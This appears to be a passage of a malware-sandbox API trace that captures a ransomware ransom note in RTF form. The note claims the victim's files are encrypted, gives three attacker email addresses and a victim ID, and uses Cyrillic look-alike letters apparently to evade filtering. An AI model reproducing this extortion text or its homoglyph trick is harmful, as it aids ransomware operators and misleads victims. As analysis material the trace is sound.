!\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de4de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n 